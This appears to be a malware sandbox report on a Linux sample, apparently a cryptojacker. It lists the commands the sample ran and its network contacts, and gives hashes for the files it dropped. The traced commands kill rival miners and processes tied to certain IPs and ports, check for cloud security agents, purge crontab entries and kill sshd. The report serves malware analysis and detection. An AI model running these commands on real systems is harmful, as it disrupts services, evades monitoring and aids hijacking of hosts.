/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/locks]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/mdstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/meminfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/misc]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/modules]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/mounts]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/mtrr]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/net]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/pagetypeinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/partitions]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sched_debug]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/schedstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/scsi]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/self]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/slabinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/softirqs]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/stat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/swaps]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sys]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sysrq-trigger]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sysvipc]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/thread-self]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/timer_list]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/tty]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/uptime]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/version]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/version_signature]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/vmallocinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/vmstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/zoneinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep /dot]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f hezb]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep tracepath]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f /tmp/.out]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./ll1]

/bin/ps

[ps aux]

/bin/grep

[grep -i [a]liyun]

/bin/ps

[ps aux]

/bin/grep

[grep -i [y]unjing]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep php-fpm pool www]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep Cli start accept]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep bash -k]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep perfctl]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 185.71.65.238]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 140.82.52.87]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 207.38.87.6]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 23.94.214.119]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 34.81.218.76:9486]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 42.112.28.216:9486]

/usr/bin/pkill

[pkill -f .git/kthreaddw]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep agetty]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f 42.112.28.216]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /192.81.212.13/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /base64/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /python/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /shm/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /postgresql/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /cloudfronts/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /sshd/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /linux/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /neoogilvy/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /rsync/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /bpdeliver/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /perfcc/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/pkill

[pkill -f sshd]

/usr/bin/pkill

[pkill -f htop]

/usr/bin/pkill

[pkill -f linuxsys]

/usr/bin/pkill

[pkill -f kthreaddo]

/usr/bin/pkill

[pkill -f donkey]

/usr/bin/pkill

[pkill -f sysupdater]

/usr/bin/pkill

[pkill -f php-update.service]

/usr/bin/pkill

[pkill -f update-setup]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :1414]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 127.0.0.1:52018]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :143]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :2222]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :3333]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :3389]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :4444]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :5555]

/usr/bin/xargs

[xargs -I % kill -9 %]

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp
US 151.101.1.91:443 tcp
GB 195.181.164.17:443 tcp
GB 185.125.188.61:443 tcp
GB 185.125.188.61:443 tcp
US 151.101.1.91:443 tcp
US 1.1.1.1:53 1527653184.rsc.cdn77.org udp
US 1.1.1.1:53 1527653184.rsc.cdn77.org udp
GB 89.187.167.39:443 1527653184.rsc.cdn77.org tcp
RU 95.142.47.27:80 95.142.47.27 tcp
RU 95.142.47.27:80 95.142.47.27 tcp
RU 185.122.204.197:80 tcp
RU 185.122.204.197:80 tcp

Files

/tmp/log_rot

MD5 727479ef7cedf30c03459bec7d87b0f0
SHA1 2082e7f715f058acab2398d25d135cf5f4c0ce41
SHA256 29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
SHA512 4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

/var/spool/cron/crontabs/tmp.qswzX6

MD5 6fb5ee24078c51509bf4240e6ac9e988
SHA1 cfc5592a72c38f5f0694f5fadb2c3f375ea720e0
SHA256 45c7c6700b7e84068b369190405d45806fdb8c0d8ae165f28d56733f373a444e
SHA512 eff2f48705b4146c471a67f5b412bafe836996f186a3a5ef77f265af24f06c7ef0e55f89e6cbadb5c0592c11c61996693f7fee9b5eed3619e5c2e6a2c62e0b26

